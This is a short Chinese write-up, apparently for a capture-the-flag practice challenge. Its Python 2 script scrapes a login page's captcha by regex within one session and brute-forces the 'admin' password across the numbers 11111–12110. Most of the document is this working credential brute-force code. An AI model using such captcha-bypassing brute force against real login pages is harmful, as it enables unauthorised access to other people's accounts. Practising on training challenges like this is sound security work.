验证码用正则获取 然后提交;
访问方式为get;
由于有验证码 要用session;
注意:获取验证码的时候所打开的网页要用当前session(即要get的) 不能另外打开(如urllib中的打开网页)网页否则验证码是不同的;
代码如下:
1 #coding=utf-8 2 import requests 3 import re 4 import urllib2 5 6 url="http://daka.whaledu.com/web/web38/9s81jWjd98YU.php" 7 8 9 se=requests.Session() 10 11 htmlpage = se.get(url).text 12 13 ########################################################################### 14 # # 15 # ATTENTION! # 16 # 一定要用当前session打开网页,否则验证码不一样,导致提交的验证码错误 # 17 # # 18 ########################################################################### 19 20 21 22 #验证码获取 23 24 ex=r"text">(.+?)<br>" 25 pattern=re.compile(ex) 26 ss=re.findall(ex,htmlpage) 27 st="" 28 st=ss[0] 29 st=st[1]+st[2]+st[3] 30 print st 31 32 33 #第一次使用一个错误的数据以便爆破的时候对比是否密码正确 34 35 data={ 36 "password":"11111", 37 "randcode":st, 38 "username":"admin" 39 } 40 41 42 43 content=se.get(url,params=data) 44 print content.url 45 content.encoding='utf-8' 46 print content.text 47 48 49 #循环爆破 50 51 for i in range(11111,12111): 52 53 54 se=requests.Session() 55 htmlpage = se.get(url).text 56 57 ex=r"text">(.+?)<br>" 58 pattern=re.compile(ex) 59 ss=re.findall(ex,htmlpage) 60 st="" 61 st=ss[0] 62 st=st[1]+st[2]+st[3] 63 64 data={ 65 "password":str(i), 66 "randcode":st, 67 "username":"admin" 68 } 69 70 content1=se.get(url,params=data) 71 content1.encoding='utf-8' 72 if content.text!=content1.text: 73 print content1.text 74 else: 75 print str(i),"wrong"